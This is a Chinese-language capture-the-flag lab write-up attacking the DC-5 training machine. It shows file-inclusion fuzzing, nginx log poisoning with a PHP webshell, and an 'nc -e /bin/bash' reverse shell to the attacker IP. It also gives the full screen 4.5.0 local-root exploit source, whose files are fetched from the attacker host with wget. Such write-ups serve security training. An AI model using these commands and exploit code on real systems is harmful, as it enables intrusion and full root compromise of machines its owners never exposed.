【CyberSecurityLearning 74】DC系列之DC-5渗透测试
目錄
DC系列之DC-5滲透測試?
實驗環境:
實驗步驟:
1、主機掃描,確定目標主機IP
2、對DC-5進行端口掃描
3、訪問DC-5的web服務,了解相關信息
4、使用wfuzz測試頁面參數
5、看看根目錄下有哪些文件,我們嘗試暴力破解
6、測試是否為動態包含,使用BurpSuite 爆破變量名
7、遠程文件包含寫入木馬(失敗)
8、本地文件包含
8、反彈shell ,建立長久性的連接(NC反彈,-e可用)
9、考慮提權
?
DC系列之DC-5滲透測試?
實驗環境:
- 目標機DC-5的MAC地址:00:0C:29:CE:ED:B8(IP測試出來為192.168.3.175)(重啟了一遍又變成了192.168.3.180,醉了!)
- 攻擊機kali的IP地址:192.168.3.249
實驗步驟:
1、主機掃描,確定目標主機IP
命令:nmap -sP 192.168.3.1/24 -oN nmap.sP(掃描得知DC-5的IP為192.168.3.175)
2、對DC-5進行端口掃描
命令:nmap -A 192.168.3.175 -p- -oN nmap.A
3、訪問DC-5的web服務,了解相關信息
點擊Contact,嘗試提交一些數據,測試是否存在XSS漏洞
提交后跳轉到如下界面:
我們再提交一次:
4、使用wfuzz測試頁面參數
具體使用可以參考:WFUZZ的使用
5、看看根目錄下有哪些文件,我們嘗試暴力破解
使用工具burpsuite / 御劍 /? dirb(dirb默認字典只是目錄字典,不能爆破文件,dirb是可以自定義字典的)
打開burpsuite掃描,發現了有footer.php最特殊
一刷新就會變化
?
我們發現192.168.3.175/thankyou.php和/footer.php,刷新一下版權都會變化
我們猜測這兩個文件是包含關系(thankyou.php文件引入了footer.php)PHP中從一個文件去調用另外一個文件的過程叫文件包含
?
6、測試是否為動態包含,使用BurpSuite 爆破變量名
192.168.3.175/thankyou.php?fuzz=footer.php
導入文件名的字典,得到其變量名是file
重啟DC-5后,IP變成了1992.168.3.180,下面就用192.168.3.180演示
包含一下/etc/passwd
如果我們去包含一個文件的時候,如果包含的是一句話木馬的話,就可以直接用菜刀連接了。
我們如何把一句話木馬弄到服務器上?
遠程文件包含
7、遠程文件包含寫入木馬(失敗)
通過http協議的方式,叫遠程文件包含
遠程文件包含的前提:要開啟allow_url_fopen和allow_url_include
測試后發現我們包含文件的時候只能包含本地文件
8、本地文件包含
我們想本地文件中有一句話木馬。我們怎樣把一句話木馬寫到本地文件里面
我們所有的用戶操作,對于一個web應用來講都有日志,我們如果把提交的內容寫到它的日志里面,通過文件包含去包含這個日志就可以執行日志文件中的一句話木馬
目標中的日志文件在哪里?
通過測試我們知道目標服務器屬于nginx,我們做一個爆破(使用通用的http的日志目錄字典,字典要強大)
找到系統日志文件路徑
/var/log/nginx/access.log
把一句話木馬寫到日志文件中去
嘗試用蟻劍連接
連接成功!
我們考慮把一句話木馬放到/tmp目錄下
為什么要換成/tmp/404.html呢,因為日志一直讀寫,對我們操作會有影響
再用蟻劍連接,得到一個穩定的shell
8、反彈shell ,建立長久性的連接(NC反彈,-e可用)
在反彈之前,我們kali先本地監聽一下,nc -lvvp 1234
-e 參數可用
[nc -e /bin/bash 192.168.3.249 1234]
反彈成功!
進入交互式狀態!
python -c 'import pty;pty.spawn("/bin/bash")'
9、考慮提權
思路1、sudo -l(查看有沒有一些命令在執行期間有root權限標簽沒有密碼保護——Not found)
思路2、查看有沒有一些具有suid權限的命令
find / -perm /4000 2>dev/null
發現screen 4.5.0 存在一個本地特權提升的漏洞
有個sh文件
把這個文件拷貝:cp /usr/share/exploitdb/exploits/linux/local/41154.sh ./41154.sh
cat一下這個腳本
把這個腳本上傳到服務器嘗試運行
我們本地開啟一個80
python -m SimpleHTTPServer 80
通過瀏覽器去訪問一下
192.168.3.249/41154.sh
來到蟻劍——》來到/tmp目錄下,,單擊右鍵有個WGET下載
我們也可以通過命令行的方式,
我們分析一下41154.sh
#!/bin/bash # screenroot.sh # setuid screen v4.5.0 local root exploit # abuses ld.so.preload overwriting to get root. # bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html # HACK THE PLANET # ~ infodox (25/1/2017) echo "~ gnu/screenroot ~" echo "[+] First, we create our shell and library..." cat << EOF > /tmp/libhax.c #include <stdio.h> #include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){chown("/tmp/rootshell", 0, 0);chmod("/tmp/rootshell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!\n"); } EOF gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c rm -f /tmp/libhax.c cat << EOF > /tmp/rootshell.c #include <stdio.h> int main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL); } EOF gcc -o /tmp/rootshell /tmp/rootshell.c rm -f /tmp/rootshell.c echo "[+] Now we create our /etc/ld.so.preload file..." cd /etc umask 000 # because screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed echo "[+] Triggering..." screen -ls # screen itself is setuid, so...打開41154.sh 腳本文件,嘗試本地編譯其內的兩個c語言程序,將該腳本拆分成3部分,具體內容如下
?
查看腳本
vim libhax.c把文件內容粘貼進去
----libhax.c
#include <stdio.h>#include <sys/types.h>#include <unistd.h>__attribute__ ((__constructor__))void dropshell(void){chown("/tmp/rootshell", 0, 0);chmod("/tmp/rootshell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!\n");}編譯,生成libhax.so 文件
gcc -fPIC -shared -ldl -o ./libhax.so ./libhax.c
-------rootshell.c
#include <stdio.h>int main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL);}編譯,生成rootshell 文件
gcc -o ./rootshell ./rootshell.c
vim run.sh
---run.sh
#!/bin/bash# screenroot.sh# setuid screen v4.5.0 local root exploit# abuses ld.so.preload overwriting to get root.# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html# HACK THE PLANET# ~ infodox (25/1/2017)echo "[+] Now we create our /etc/ld.so.preload file..."cd /etcumask 000 # becausescreen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline neededecho "[+] Triggering..."screen -ls # screen itself is setuid, so.../tmp/rootshell本地開啟http服務
??? python -m SimpleHTTPServer
?
靶機/tmp 目錄下遠程下載
??? wget http://192.168.3.249/rootshell
??? wget http://192.168.3.249/libhax.so
??? wget http://192.168.3.249/run.sh
運行run.sh 文件,進行提權
總結
以上是生活随笔為你收集整理的【CyberSecurityLearning 74】DC系列之DC-5渗透测试的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 作者:刘新海(1976-),男,中国人民
- 下一篇: 【CyberSecurityLearni